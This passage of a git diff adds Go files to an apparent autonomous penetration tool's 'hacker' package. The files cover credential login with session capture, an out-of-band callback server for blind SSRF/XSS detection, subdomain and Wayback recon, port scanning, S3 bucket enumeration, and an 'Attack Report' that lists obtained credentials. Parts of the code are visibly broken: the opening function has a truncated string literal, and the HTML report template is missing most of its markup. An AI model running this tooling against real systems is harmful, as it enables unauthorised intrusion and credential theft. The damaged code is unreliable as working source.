strings.ToLower(content) + for i := 0; i < len(lowContent); { + idx := strings.Index(lowContent[i:], "') + if closeTag == -1 { + break + } + inputTag := content[inputStart : inputStart+closeTag+1] + inputLow := strings.ToLower(inputTag) + + if !strings.Contains(inputLow, "type=\"submit\"") && !strings.Contains(inputLow, "type=submit") { + name := extractAttribute(inputTag, "name") + if name != "" { + fields = append(fields, name) + } + } + i = inputStart + closeTag + 1 + } + return fields +} + +func extractAttribute(tag, attr string) string { + attrLow := strings.ToLower(attr) + tagLow := strings.ToLower(tag) + attrIdx := strings.Index(tagLow, attrLow+"=") + if attrIdx == -1 { + return "" + } + valStart := attrIdx + len(attrLow) + 1 + if valStart >= len(tag) { + return "" + } + quote := tag[valStart] + if quote == '"' || quote == '\'' { + end := strings.IndexByte(tag[valStart+1:], byte(quote)) + if end == -1 { + return "" + } + return tag[valStart+1 : valStart+1+end] + } + end := strings.IndexAny(tag[valStart:], " >") + if end == -1 { + return tag[valStart:] + } + return tag[valStart : valStart+end] +} + +func buildFormData(fields []string, username, password string) string { + var parts []string + for _, f := range fields { + fLow := strings.ToLower(f) + if strings.Contains(fLow, "user") || strings.Contains(fLow, "email") || strings.Contains(fLow, "login") || strings.Contains(fLow, "name") { + parts = append(parts, f+"="+strings.ReplaceAll(username, " ", "+")) + } else if strings.Contains(fLow, "pass") || strings.Contains(fLow, "pwd") { + parts = append(parts, f+"="+strings.ReplaceAll(password, " ", "+")) + } else { + parts = append(parts, f+"=test") + } + } + return strings.Join(parts, "&") +} + +func isLoginSuccess(resp *types.Response) bool { + if resp.StatusCode == 302 || resp.StatusCode == 301 { + return true + } + if resp.StatusCode == 200 && len(resp.Body) > 0 { + lowBody := strings.ToLower(string(resp.Body)) + successWords := []string{"dashboard", "welcome", "logout", "profile", "my account"} + failWords := []string{"invalid", "incorrect", "failed", "error", "wrong"} + + hasSuccess := false + for _, w := range successWords { + if strings.Contains(lowBody, w) { + hasSuccess = true + break + } + } + hasFail := false + for _, w := range failWords { + if strings.Contains(lowBody, w) { + hasFail = true + break + } + } + return hasSuccess && !hasFail + } + return false +} diff --git a/internal/hacker/login_exploit.go b/internal/hacker/login_exploit.go new file mode 100644 index 0000000..b6efe40 --- /dev/null +++ b/internal/hacker/login_exploit.go @@ -0,0 +1,114 @@ +package hacker + +import ( + "context" + "fmt" + "net/http" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type PostLoginCrawlAction struct { + username string + password string + loginURL string + formFields []string +} + +func (a *PostLoginCrawlAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Post-Login Crawler", + Description: "Login with creds, capture session, recrawl authenticated areas", + Priority: 42, + Requires: []string{}, + Provides: []string{"has_admin_session"}, + } +} + +func (a *PostLoginCrawlAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + + if a.loginURL == "" { + return ActionResult{} + } + + formData := buildFormData(a.formFields, a.username, a.password) + resp, err := client.Do(ctx, &types.Request{ + Method: "POST", + URL: a.loginURL, + Body: []byte(formData), + Headers: map[string]string{"Content-Type": "application/x-www-form-urlencoded"}, + }) + if err != nil { + return ActionResult{} + } + + for _, c := range parseCookies(resp) { + kb.Session.AddCookies([]*http.Cookie{c}) + } + + if resp.StatusCode == 302 || resp.StatusCode == 200 { + redirectURL := resp.Headers.Get("Location") + if redirectURL != "" { + if !strings.HasPrefix(redirectURL, "http") { + redirectURL = target + redirectURL + } + authResp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: redirectURL, + }) + if err == nil && authResp.StatusCode == 200 { + body := string(authResp.Body) + savedPath := kb.ReportDir.Save("crawl_auth", "dashboard.html", []byte(body)) + findings = append(findings, Finding{ + Type: "auth_dashboard", + Name: "Authenticated dashboard captured", + Severity: SevCritical, + Description: fmt.Sprintf("Logged in as %s — dashboard saved", a.username), + Evidence: savedPath, + }) + + kb.AddCapability(Capability{ + Name: "has_admin_session", + Target: target, + Details: map[string]string{ + "username": a.username, + "password": a.password, + }, + }) + + links := extractLinks(body, target) + for _, link := range links { + if strings.Contains(strings.ToLower(link), "admin") || strings.Contains(strings.ToLower(link), "user") || strings.Contains(strings.ToLower(link), "config") || strings.Contains(strings.ToLower(link), "setting") { + kb.AddEndpoint(Endpoint{ + Path: link, + Method: "GET", + Status: 0, + }) + } + } + } + } + } + + return ActionResult{Findings: findings} +} + +func parseCookies(resp *types.Response) []*http.Cookie { + var cookies []*http.Cookie + for _, c := range resp.Headers["Set-Cookie"] { + parts := strings.SplitN(c, ";", 2) + if len(parts) > 0 { + kv := strings.SplitN(strings.TrimSpace(parts[0]), "=", 2) + if len(kv) == 2 { + cookies = append(cookies, &http.Cookie{ + Name: kv[0], + Value: kv[1], + }) + } + } + } + return cookies +} diff --git a/internal/hacker/oob.go b/internal/hacker/oob.go new file mode 100644 index 0000000..9a9a33f --- /dev/null +++ b/internal/hacker/oob.go @@ -0,0 +1,152 @@ +package hacker + +import ( + "context" + "fmt" + "io" + "net" + "net/http" + "sync" + "time" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" +) + +type OOBAction struct { + server *OOBServer +} + +type OOBServer struct { + mu sync.Mutex + callbacks []OOBRequest + listener net.Listener + port int + running bool +} + +type OOBRequest struct { + ID string + RemoteAddr string + Path string + Query string + Headers map[string]string + Body string + Timestamp time.Time +} + +func NewOOBAction() *OOBAction { + return &OOBAction{ + server: &OOBServer{ + port: 9999, + }, + } +} + +func (a *OOBAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "OOB Server", + Description: "HTTP callback server for blind SSRF/SSTI/XSS detection", + Priority: 80, + Requires: []string{}, + Provides: []string{"has_oob"}, + } +} + +func (a *OOBAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + if a.server.running { + return ActionResult{} + } + + err := a.server.Start(ctx) + if err != nil { + return ActionResult{ + Findings: []Finding{ + { + Type: "oob_error", + Name: "OOB server failed to start", + Severity: SevLow, + Description: fmt.Sprintf("Error: %s", err), + }, + }, + } + } + + oobURL := fmt.Sprintf("http://localhost:%d/callback", a.server.port) + + go func() { + <-ctx.Done() + a.server.Stop() + }() + + kb.AddSecret(fmt.Sprintf("OOB callback URL: %s?token={target_id}", oobURL)) + + return ActionResult{ + Findings: []Finding{ + { + Type: "oob_ready", + Name: "OOB callback server ready", + Severity: SevInfo, + Description: fmt.Sprintf("Listening on port %d — use for blind SSRF/SSTI/XSS", a.server.port), + Evidence: oobURL, + }, + }, + } +} + +func (s *OOBServer) Start(ctx context.Context) error { + var err error + s.listener, err = net.Listen("tcp", fmt.Sprintf(":%d", s.port)) + if err != nil { + return err + } + s.running = true + + go func() { + http.Serve(s.listener, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + body, _ := io.ReadAll(r.Body) + r.Body.Close() + + req := OOBRequest{ + ID: fmt.Sprintf("oob-%d", time.Now().UnixNano()), + RemoteAddr: r.RemoteAddr, + Path: r.URL.Path, + Query: r.URL.RawQuery, + Timestamp: time.Now(), + } + for k, v := range r.Header { + if req.Headers == nil { + req.Headers = make(map[string]string) + } + req.Headers[k] = v[0] + } + if len(body) > 0 { + req.Body = string(body) + } + + s.mu.Lock() + s.callbacks = append(s.callbacks, req) + s.mu.Unlock() + + w.WriteHeader(200) + w.Write([]byte("OK")) + })) + }() + + time.Sleep(100 * time.Millisecond) + return nil +} + +func (s *OOBServer) Stop() { + if s.listener != nil { + s.listener.Close() + } + s.running = false +} + +func (s *OOBServer) GetCallbacks() []OOBRequest { + s.mu.Lock() + defer s.mu.Unlock() + out := make([]OOBRequest, len(s.callbacks)) + copy(out, s.callbacks) + return out +} diff --git a/internal/hacker/passive.go b/internal/hacker/passive.go new file mode 100644 index 0000000..0687948 --- /dev/null +++ b/internal/hacker/passive.go @@ -0,0 +1,281 @@ +package hacker + +import ( + "context" + "encoding/json" + "fmt" + "net/url" + "strings" + "time" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type PassiveReconAction struct{} + +func (a *PassiveReconAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Passive Recon", + Description: "GitHub dorking, crt.sh, Wayback Machine — no requests to target", + Priority: 5, + Requires: nil, + Provides: []string{"has_subdomain"}, + } +} + +type crtShEntry struct { + IssuerCaID int `json:"issuer_ca_id"` + IssuerName string `json:"issuer_name"` + CommonName string `json:"common_name"` + NameValue string `json:"name_value"` + ID int `json:"id"` + EntryTimestamp string `json:"entry_timestamp"` + NotBefore string `json:"not_before"` + NotAfter string `json:"not_after"` + SerialNumber string `json:"serial_number"` +} + +func (a *PassiveReconAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + domain := extractDomain(target) + if domain == "" { + return ActionResult{} + } + + var findings []Finding + + reconCtx, cancel := context.WithTimeout(ctx, 15*time.Second) + defer cancel() + + type crtResult struct { + subs []string + err error + } + type wbResult struct { + urls []string + err error + } + + crtCh := make(chan crtResult, 1) + wbCh := make(chan wbResult, 1) + + go func() { + subs := queryCRTSh(reconCtx, client, domain) + crtCh <- crtResult{subs: subs} + }() + go func() { + urls := queryWayback(reconCtx, client, domain) + wbCh <- wbResult{urls: urls} + }() + + var subdomains []string + var waybackURLs []string + + for i := 0; i < 2; i++ { + select { + case r := <-crtCh: + subdomains = r.subs + case r := <-wbCh: + waybackURLs = r.urls + case <-reconCtx.Done(): + break + } + } + + if len(subdomains) > 0 { + findings = append(findings, Finding{ + Type: "subdomain", + Name: fmt.Sprintf("Subdomains discovered via crt.sh (%d)", len(subdomains)), + Severity: SevMedium, + Description: fmt.Sprintf("Certificate Transparency logs reveal %d subdomains", len(subdomains)), + Evidence: strings.Join(subdomains[:minInt(10, len(subdomains))], ", "), + Details: map[string]string{"count": fmt.Sprintf("%d", len(subdomains))}, + }) + + kb.AddCapability(Capability{ + Name: "has_subdomain", + Target: target, + Details: map[string]string{ + "count": fmt.Sprintf("%d", len(subdomains)), + "list": strings.Join(subdomains, ", "), + }, + }) + + potentiallyInteresting := []string{"admin", "dev", "staging", "api", "test", "internal", "vpn", "jenkins", "jira", "confluence", "gitlab"} + for _, sd := range subdomains { + sdLow := strings.ToLower(sd) + for _, keyword := range potentiallyInteresting { + if strings.Contains(sdLow, keyword) { + findings = append(findings, Finding{ + Type: "interesting_subdomain", + Name: fmt.Sprintf("Interesting subdomain: %s", sd), + Severity: SevHigh, + Description: fmt.Sprintf("Subdomain '%s' suggests a potentially sensitive service", sd), + Evidence: sd, + }) + break + } + } + } + + kb.AddCapability(Capability{ + Name: "has_recon", + Target: target, + Details: map[string]string{ + "subdomains": fmt.Sprintf("%d", len(subdomains)), + }, + }) + } + + if len(waybackURLs) > 0 { + findings = append(findings, Finding{ + Type: "wayback_urls", + Name: fmt.Sprintf("Historical URLs via Wayback Machine (%d)", len(waybackURLs)), + Severity: SevLow, + Description: "Wayback Machine reveals historical endpoints that may not be indexed anymore", + Evidence: strings.Join(waybackURLs[:minInt(10, len(waybackURLs))], ", "), + Details: map[string]string{"count": fmt.Sprintf("%d", len(waybackURLs))}, + }) + + for _, wu := range waybackURLs { + wLow := strings.ToLower(wu) + if strings.Contains(wLow, "api") || strings.Contains(wLow, "admin") || strings.Contains(wLow, "graphql") || strings.Contains(wLow, "swagger") { + ep := Endpoint{ + Path: wu, + Method: "GET", + Status: 0, + } + kb.AddEndpoint(ep) + } + } + } + + if len(subdomains) == 0 && len(waybackURLs) == 0 { + findings = append(findings, Finding{ + Type: "recon_complete", + Name: "No public recon data found", + Severity: SevInfo, + Description: "No subdomains or historical URLs discovered for " + domain, + }) + } + + return ActionResult{Findings: findings} +} + +func extractDomain(target string) string { + target = strings.TrimPrefix(target, "https://") + target = strings.TrimPrefix(target, "http://") + target = strings.TrimRight(target, "/") + parts := strings.Split(target, "/") + if len(parts) > 0 { + host := parts[0] + host = strings.Split(host, ":")[0] + return host + } + return target +} + +func queryCRTSh(ctx context.Context, client *transport.Client, domain string) []string { + u := fmt.Sprintf("https://crt.sh/?q=%%.%s&output=json", domain) + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: u, + }) + if err != nil { + return nil + } + + if resp.StatusCode != 200 { + return nil + } + + var entries []crtShEntry + if err := json.Unmarshal(resp.Body, &entries); err != nil { + return nil + } + + seen := make(map[string]bool) + domainParts := strings.Split(domain, ".") + if len(domainParts) < 2 { + return nil + } + tld := domainParts[len(domainParts)-2] + "." + domainParts[len(domainParts)-1] + + var subdomains []string + for _, entry := range entries { + names := strings.Split(entry.NameValue, "\n") + for _, name := range names { + name = strings.TrimSpace(name) + if name == "" || name == domain { + continue + } + if strings.HasPrefix(name, "*.") { + name = name[2:] + } + if !strings.HasSuffix(name, "."+domain) && name != domain { + if !strings.HasSuffix(name, "."+tld) { + continue + } + } + if seen[name] { + continue + } + seen[name] = true + subdomains = append(subdomains, name) + } + } + + if len(subdomains) > 100 { + subdomains = subdomains[:100] + } + return subdomains +} + +func queryWayback(ctx context.Context, client *transport.Client, domain string) []string { + u := fmt.Sprintf("https://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&limit=200", domain) + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: u, + }) + if err != nil { + return nil + } + if resp.StatusCode != 200 { + return nil + } + + var raw []json.RawMessage + if err := json.Unmarshal(resp.Body, &raw); err != nil { + return nil + } + + var urls []string + seen := make(map[string]bool) + for _, r := range raw { + var urlStr string + if err := json.Unmarshal(r, &urlStr); err != nil { + continue + } + parsed, err := url.Parse(urlStr) + if err != nil { + continue + } + cleaned := parsed.Scheme + "://" + parsed.Host + parsed.Path + if cleaned == "" || seen[cleaned] { + continue + } + seen[cleaned] = true + urls = append(urls, cleaned) + if len(urls) >= 100 { + break + } + } + return urls +} + +func minInt(a, b int) int { + if a < b { + return a + } + return b +} diff --git a/internal/hacker/planner.go b/internal/hacker/planner.go new file mode 100644 index 0000000..832149b --- /dev/null +++ b/internal/hacker/planner.go @@ -0,0 +1,113 @@ +package hacker + +import ( + "sort" + "sync" +) + +type Planner struct { + mu sync.Mutex + actions []Action + done map[string]bool +} + +func NewPlanner(actions ...Action) *Planner { + sorted := make([]Action, len(actions)) + copy(sorted, actions) + sort.Slice(sorted, func(i, j int) bool { + return sorted[i].Metadata().Priority < sorted[j].Metadata().Priority + }) + return &Planner{ + actions: sorted, + done: make(map[string]bool), + } +} + +func (p *Planner) AddAction(a Action) { + p.mu.Lock() + defer p.mu.Unlock() + name := a.Metadata().Name + if p.done[name] { + return + } + for _, existing := range p.actions { + if existing.Metadata().Name == name { + return + } + } + p.actions = append(p.actions, a) + sort.Slice(p.actions, func(i, j int) bool { + return p.actions[i].Metadata().Priority < p.actions[j].Metadata().Priority + }) +} + +func (p *Planner) NextAction(kb *Knowledge) Action { + p.mu.Lock() + defer p.mu.Unlock() + + caps := kb.GetCapabilities() + capMap := make(map[string]bool) + for _, c := range caps { + capMap[c.Name] = true + } + + for _, a := range p.actions { + name := a.Metadata().Name + if p.done[name] { + continue + } + + reqs := a.Metadata().Requires + if len(reqs) > 0 { + allMet := true + for _, req := range reqs { + if !capMap[req] { + allMet = false + break + } + } + if !allMet { + continue + } + } + + p.done[name] = true + return a + } + return nil +} + +func (p *Planner) HasRemaining(kb *Knowledge) bool { + p.mu.Lock() + defer p.mu.Unlock() + + caps := kb.GetCapabilities() + capMap := make(map[string]bool) + for _, c := range caps { + capMap[c.Name] = true + } + + for _, a := range p.actions { + name := a.Metadata().Name + if p.done[name] { + continue + } + + reqs := a.Metadata().Requires + if len(reqs) == 0 { + return true + } + + allMet := true + for _, req := range reqs { + if !capMap[req] { + allMet = false + break + } + } + if allMet { + return true + } + } + return false +} diff --git a/internal/hacker/portscan.go b/internal/hacker/portscan.go new file mode 100644 index 0000000..f3d3b59 --- /dev/null +++ b/internal/hacker/portscan.go @@ -0,0 +1,198 @@ +package hacker + +import ( + "context" + "fmt" + "net" + "strconv" + "strings" + "sync" + "time" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" +) + +type PortScanAction struct{} + +func (a *PortScanAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Port Scanner", + Description: "TCP connect scan of top 100 ports on discovered hosts", + Priority: 35, + Requires: []string{"has_subdomain"}, + Provides: []string{"has_ports"}, + } +} + +var topPorts = []int{ + 21, 22, 23, 25, 53, 80, 81, 110, 111, 135, + 139, 143, 389, 443, 445, 465, 514, 587, 593, 636, + 993, 995, 1025, 1026, 1027, 1028, 1029, 1080, 1194, 1352, + 1433, 1434, 1521, 1723, 2049, 2082, 2083, 2181, 2375, 2376, + 3000, 3128, 3306, 3389, 3690, 4000, 4040, 4443, 4444, 4848, + 5000, 5001, 5432, 5555, 5632, 5800, 5900, 5901, 5984, 6000, + 6001, 6082, 6379, 6443, 6666, 6667, 6668, 6669, 7000, 7001, + 7002, 7077, 8000, 8001, 8008, 8009, 8080, 8081, 8082, 8083, + 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8181, 8443, 8888, + 9000, 9001, 9042, 9090, 9092, 9100, 9200, 9300, 9418, 9999, +} + +func (a *PortScanAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + hosts := extractHosts(kb, target) + if len(hosts) == 0 { + return ActionResult{} + } + + maxHosts := 3 + if len(hosts) > maxHosts { + hosts = hosts[:maxHosts] + } + + maxPorts := 30 + ports := topPorts + if len(ports) > maxPorts { + ports = ports[:maxPorts] + } + + type scanTarget struct { + host string + port int + } + + targets := make(chan scanTarget) + results := make(chan Finding, 100) + + var wg sync.WaitGroup + numWorkers := 20 + + for i := 0; i < numWorkers; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for t := range targets { + select { + case <-ctx.Done(): + return + default: + } + + addr := net.JoinHostPort(t.host, strconv.Itoa(t.port)) + conn, err := net.DialTimeout("tcp", addr, 2*time.Second) + if err != nil { + continue + } + conn.Close() + + service := guessService(t.port) + results <- Finding{ + Type: "open_port", + Name: fmt.Sprintf("Open port: %s/%d (%s)", t.host, t.port, service), + Severity: classifyPortSeverity(t.port), + Description: fmt.Sprintf("Port %d open on %s — %s", t.port, t.host, service), + Evidence: addr, + } + + kb.AddEndpoint(Endpoint{ + Path: addr, + Method: "TCP", + Status: 0, + ContentType: service, + }) + } + }() + } + + go func() { + for _, host := range hosts { + for _, port := range ports { + select { + case <-ctx.Done(): + close(targets) + return + default: + targets <- scanTarget{host, port} + } + } + } + close(targets) + }() + + go func() { + wg.Wait() + close(results) + }() + + var findings []Finding + for f := range results { + findings = append(findings, f) + } + + return ActionResult{Findings: findings} +} + +func extractHosts(kb *Knowledge, target string) []string { + var hosts []string + seen := make(map[string]bool) + + caps := kb.GetCapabilities() + for _, c := range caps { + if c.Name == "has_subdomain" && c.Details != nil { + if list, ok := c.Details["list"]; ok { + for _, h := range strings.Split(list, ", ") { + h = strings.TrimSpace(h) + if h != "" && !seen[h] { + hosts = append(hosts, h) + seen[h] = true + } + } + } + } + } + + targetHost := extractDomain(target) + if !seen[targetHost] { + hosts = append(hosts, targetHost) + } + + return hosts +} + +func guessService(port int) string { + services := map[int]string{ + 21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 53: "DNS", + 80: "HTTP", 110: "POP3", 111: "RPC", 135: "RPC", 139: "NetBIOS", + 143: "IMAP", 389: "LDAP", 443: "HTTPS", 445: "SMB", 465: "SMTPS", + 514: "Syslog", 587: "SMTP", 593: "HTTP RPC", 636: "LDAPS", + 993: "IMAPS", 995: "POP3S", 1080: "SOCKS", 1194: "OpenVPN", + 1352: "Lotus Notes", 1433: "MSSQL", 1434: "MSSQL Browser", + 1521: "Oracle DB", 1723: "PPTP", 2049: "NFS", 2181: "ZooKeeper", + 2375: "Docker", 2376: "Docker TLS", 3000: "HTTP-Alt", + 3128: "Squid", 3306: "MySQL", 3389: "RDP", 3690: "SVN", + 4000: "HTTP-Alt", 4443: "HTTPS-Alt", 4848: "GlassFish", + 5000: "HTTP-Alt", 5432: "PostgreSQL", 5555: "Android ADB", + 5632: "PCAnywhere", 5800: "VNC-Alt", 5900: "VNC", + 5984: "CouchDB", 6379: "Redis", 6443: "HTTPS-Alt", + 6667: "IRC", 7001: "WebLogic", 7077: "Mesos", + 8000: "HTTP-Alt", 8080: "HTTP-Proxy", 8443: "HTTPS-Alt", + 8888: "HTTP-Alt", 9000: "HTTP-Alt", 9042: "Cassandra", + 9090: "HTTP-Alt", 9092: "Kafka", 9200: "Elasticsearch", + 9300: "Elasticsearch", 9418: "Git", 9999: "HTTP-Alt", + } + if s, ok := services[port]; ok { + return s + } + return "Unknown" +} + +func classifyPortSeverity(port int) Severity { + switch port { + case 21, 23, 25, 110, 143, 135, 445, 2049, 3389, 3306, 5432, 6379, 27017: + return SevHigh + case 22, 80, 443: + return SevMedium + case 53, 389, 636, 993, 995: + return SevLow + default: + return SevLow + } +} diff --git a/internal/hacker/report_html.go b/internal/hacker/report_html.go new file mode 100644 index 0000000..ed419db --- /dev/null +++ b/internal/hacker/report_html.go @@ -0,0 +1,271 @@ +package hacker + +import ( + "bytes" + "fmt" + "html" + "time" +) + +func RenderHTMLReport(r *Report) string { + var buf bytes.Buffer + + buf.WriteString(` + + + + +NICE HACKER — Attack Report + + + +
+
+

NICE HACKER — Attack Report

+
Autonomous penetration test generated `+fmt.Sprintf("on %s", time.Now().Format("January 2, 2006 at 15:04"))+`
+
+ +
+
+
Target
+
`+html.EscapeString(r.Target)+`
+
+
+
Duration
+
`+fmt.Sprintf("%.0f", r.Duration.Seconds())+`s
+
+
+
Steps
+
`+fmt.Sprintf("%d", r.Steps)+`
+
+
+
Risk Score
+
`+fmt.Sprintf("%.1f", r.RiskScore)+` / 10
+
+
+`) + + buf.WriteString(`
+

Impact Summary

+

` + html.EscapeString(r.Impact) + `

+
+`) + + if len(r.AttackChains) > 0 { + buf.WriteString(`
+

Attack Chains Discovered

+`) + for _, chain := range r.AttackChains { + buf.WriteString(fmt.Sprintf( + `
+
⚡ %s
+
Risk: %.0f/10
+
→ %s
+
+`, + html.EscapeString(chain.Name), + riskClass(chain.RiskScore), + chain.RiskScore, + html.EscapeString(chain.Impact), + )) + } + buf.WriteString("
\n") + } + + if len(r.Findings) > 0 { + buf.WriteString(`
+

Findings

+`) + for _, f := range r.Findings { + sev := string(f.Severity) + buf.WriteString(fmt.Sprintf( + `
+
%s
+
%s
+
%s
+
%s
+
+`, + sev, sevClass(f.Severity), + sev, + html.EscapeString(f.Name), + html.EscapeString(f.Description), + html.EscapeString(f.Evidence), + )) + } + buf.WriteString("
\n") + } + + if len(r.Capabilities) > 0 { + buf.WriteString(`
+

Capabilities Acquired

+
+`) + for _, c := range r.Capabilities { + buf.WriteString(fmt.Sprintf( + ` %s +`, + html.EscapeString(c.Name), + )) + } + buf.WriteString("
\n
\n") + } + + if len(r.Credentials) > 0 { + buf.WriteString(`
+

Credentials Obtained

+`) + for _, c := range r.Credentials { + valid := "valid" + if !c.Valid { + valid = "tested" + } + buf.WriteString(fmt.Sprintf( + `
+
%s:%s (%s)
+
Source: %s
+
+`, + html.EscapeString(c.Username), html.EscapeString(c.Password), valid, + html.EscapeString(c.Source), + )) + } + buf.WriteString("
\n") + } + + if len(r.Endpoints) > 0 { + buf.WriteString(`
+

Endpoints Discovered

+`) + for _, e := range r.Endpoints { + buf.WriteString(fmt.Sprintf( + `
%s %s [%d]
+`, + e.Method, e.Method, + html.EscapeString(e.Path), e.Status, + )) + } + buf.WriteString("
\n") + } + + if len(r.Pages) > 0 { + buf.WriteString(fmt.Sprintf(`
+

Pages Crawled (%d)

+`, len(r.Pages))) + for _, p := range r.Pages { + buf.WriteString(fmt.Sprintf( + `
%s (%d bytes, %d forms, %d links, %d JS)
+`, + html.EscapeString(p.URL), p.BodyLen, p.Forms, len(p.Links), len(p.JSFiles), + )) + } + buf.WriteString("
\n") + } + + buf.WriteString(fmt.Sprintf(` +
+ +`, r.Steps, r.Duration.Seconds())) + + return buf.String() +} + +func riskClass(score float64) string { + switch { + case score >= 9.0: + return "critical" + case score >= 7.0: + return "high" + case score >= 5.0: + return "medium" + default: + return "low" + } +} + +func sevClass(s Severity) string { + switch s { + case SevCritical: + return "sev-critical" + case SevHigh: + return "sev-high" + case SevMedium: + return "sev-medium" + case SevLow: + return "sev-low" + default: + return "sev-info" + } +} diff --git a/internal/hacker/reportdir.go b/internal/hacker/reportdir.go new file mode 100644 index 0000000..729e3dc --- /dev/null +++ b/internal/hacker/reportdir.go @@ -0,0 +1,114 @@ +package hacker + +import ( + "fmt" + "os" + "path/filepath" + "strings" + "sync" + "time" +) + +type ReportDir struct { + mu sync.Mutex + BasePath string + Target string +} + +func NewReportDir(target string) *ReportDir { + name := extractDomain(target) + safeName := strings.ReplaceAll(name, ":", "_") + safeName = strings.ReplaceAll(safeName, "/", "_") + safeName = strings.ReplaceAll(safeName, ".", "_") + + base := filepath.Join("reports", safeName) + rd := &ReportDir{ + BasePath: base, + Target: target, + } + rd.ensureDirs() + return rd +} + +func (rd *ReportDir) ensureDirs() { + dirs := []string{ + rd.BasePath, + filepath.Join(rd.BasePath, "sql_dump"), + filepath.Join(rd.BasePath, "lfi_files"), + filepath.Join(rd.BasePath, "cmd_output"), + filepath.Join(rd.BasePath, "s3_dump"), + filepath.Join(rd.BasePath, "shells"), + filepath.Join(rd.BasePath, "crawl_auth"), + } + for _, d := range dirs { + os.MkdirAll(d, 0755) + } +} + +func (rd *ReportDir) Save(subdir, name string, data []byte) string { + rd.mu.Lock() + defer rd.mu.Unlock() + + safeName := strings.ReplaceAll(name, "/", "_") + safeName = strings.ReplaceAll(safeName, "\\", "_") + safeName = strings.ReplaceAll(safeName, "..", "_") + + fullPath := filepath.Join(rd.BasePath, subdir, safeName) + os.WriteFile(fullPath, data, 0644) + return fullPath +} + +func (rd *ReportDir) SaveWithPrefix(subdir, prefix, name string, data []byte) string { + rd.mu.Lock() + defer rd.mu.Unlock() + + safeName := strings.ReplaceAll(name, "/", "_") + safeName = strings.ReplaceAll(safeName, "\\", "_") + safeName = strings.ReplaceAll(safeName, "..", "_") + + fullPath := filepath.Join(rd.BasePath, subdir, prefix+"_"+safeName) + os.WriteFile(fullPath, data, 0644) + return fullPath +} + +func (rd *ReportDir) Base() string { + return rd.BasePath +} + +func (rd *ReportDir) GenerateSummary() string { + var totalFiles int + var totalBytes int64 + + filepath.Walk(rd.BasePath, func(path string, info os.FileInfo, err error) error { + if err != nil { + return nil + } + if !info.IsDir() { + totalFiles++ + totalBytes += info.Size() + } + return nil + }) + + return fmt.Sprintf("%d files extracted (%.1f KB) in %s", + totalFiles, float64(totalBytes)/1024, rd.BasePath) +} + +func (rd *ReportDir) ListFiles(subdir string) []string { + var files []string + dir := filepath.Join(rd.BasePath, subdir) + entries, err := os.ReadDir(dir) + if err != nil { + return nil + } + for _, e := range entries { + if !e.IsDir() { + files = append(files, e.Name()) + } + } + return files +} + +func generateReportFilename() string { + return fmt.Sprintf("reports/attack_%s.html", time.Now().Format("20060102_150405")) +} diff --git a/internal/hacker/s3.go b/internal/hacker/s3.go new file mode 100644 index 0000000..8d4b92b --- /dev/null +++ b/internal/hacker/s3.go @@ -0,0 +1,215 @@ +package hacker + +import ( + "context" + "fmt" + "sort" + "strings" + "sync" + "time" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type S3Action struct{} + +func (a *S3Action) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "S3 Bucket Enumeration", + Description: "Check discovered subdomains and patterns for open S3 buckets", + Priority: 60, + Requires: []string{"has_subdomain"}, + Provides: []string{"has_s3"}, + } +} + +func (a *S3Action) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + candidates := generateBucketNames(target, kb) + if len(candidates) > 20 { + candidates = candidates[:20] + } + + s3Endpoints := []string{ + "s3.amazonaws.com", + } + + type check struct { + url string + bucket string + } + + type bucketResult struct { + finding Finding + bucketURL string + } + + checks := make(chan check) + results := make(chan bucketResult, 50) + + var wg sync.WaitGroup + for i := 0; i < 10; i++ { + wg.Add(1) + go func() { + defer wg.Done() + fastClient := transport.NewClient( + transport.WithTimeout(3*time.Second), + transport.WithRetries(0), + ) + defer fastClient.Close() + + for c := range checks { + select { + case <-ctx.Done(): + return + default: + } + + resp, err := fastClient.Do(ctx, &types.Request{ + Method: "GET", + URL: c.url, + }) + if err != nil { + continue + } + + if isPublicBucket(resp) { + results <- bucketResult{ + finding: Finding{ + Type: "s3_public", + Name: fmt.Sprintf("Public S3 bucket: %s", c.bucket), + Severity: SevCritical, + Description: fmt.Sprintf("Bucket %s is publicly accessible", c.bucket), + Evidence: c.url, + }, + bucketURL: c.url, + } + } + } + }() + } + + go func() { + for _, bucket := range candidates { + for _, endpoint := range s3Endpoints { + select { + case <-ctx.Done(): + close(checks) + return + default: + checks <- check{ + url: fmt.Sprintf("https://%s.%s", bucket, endpoint), + bucket: bucket, + } + } + } + } + close(checks) + }() + + go func() { + wg.Wait() + close(results) + }() + + var findings []Finding + var spawned []Action + for r := range results { + findings = append(findings, r.finding) + spawned = append(spawned, &S3DumpAction{ + bucketURL: r.bucketURL, + bucket: extractBucketName(r.bucketURL), + }) + } + + sort.Slice(findings, func(i, j int) bool { + return findings[i].Severity > findings[j].Severity + }) + + return ActionResult{Findings: findings, Actions: spawned} +} + +func generateBucketNames(target string, kb *Knowledge) []string { + var candidates []string + seen := make(map[string]bool) + + domain := extractDomain(target) + name := strings.Split(domain, ".")[0] + + patterns := []string{ + name, name + "-backup", name + "-backups", + name + "-data", name + "-files", name + "-assets", + name + 